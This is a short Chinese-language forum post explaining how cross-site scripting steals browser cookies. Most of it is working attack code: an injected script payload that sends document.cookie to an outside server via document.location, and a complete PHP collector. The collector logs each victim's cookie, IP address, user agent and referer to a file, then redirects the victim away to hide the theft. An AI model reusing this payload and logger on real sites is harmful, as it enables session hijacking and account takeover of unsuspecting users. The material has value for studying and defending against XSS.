goback add

跨站提取cookie的原理

4476 点击·0 回帖
灯火互联
楼主

个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆。


跨站提取cookie的原理  等价于
如何从在浏览器中获取cookie + 发送cookie到指定url

比如:
“><script>document.location = ’http://www.atcpu.com /test.php?cookie=’ + document.cookie;</script><img

依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交

而test.php中的内容类似于:
<?php

$cookie = $_GET['cookie'];            //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’);        //远程主机IP地址
$time=date(‘Y-m-d g:i’);            //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’);    //链接来源
$agent = $_SERVER['HTTP_USER_AGENT'];    //用户浏览器类型

$fp = fopen(‘cookie.txt’, ’a');        //打开cookie.txt,若不存在则创建它
fwrite($fp,”IP: ”.$ip. ”\n Date and Time: ”.$time. ”\n User Agent:”.$agent.”\n Referer: ”.$referer.”\n Cookie: ”.$cookie.”\n\n\n”);    //写入文件
fclose($fp);    //关闭文件

header(“Location: http://www.atcpu.com”);    //将网页重定向到灯火计算机社区,增强隐蔽性

?>
这些用户数据来源于HTTP数据包中的浏览器头部信息

喜欢0 评分0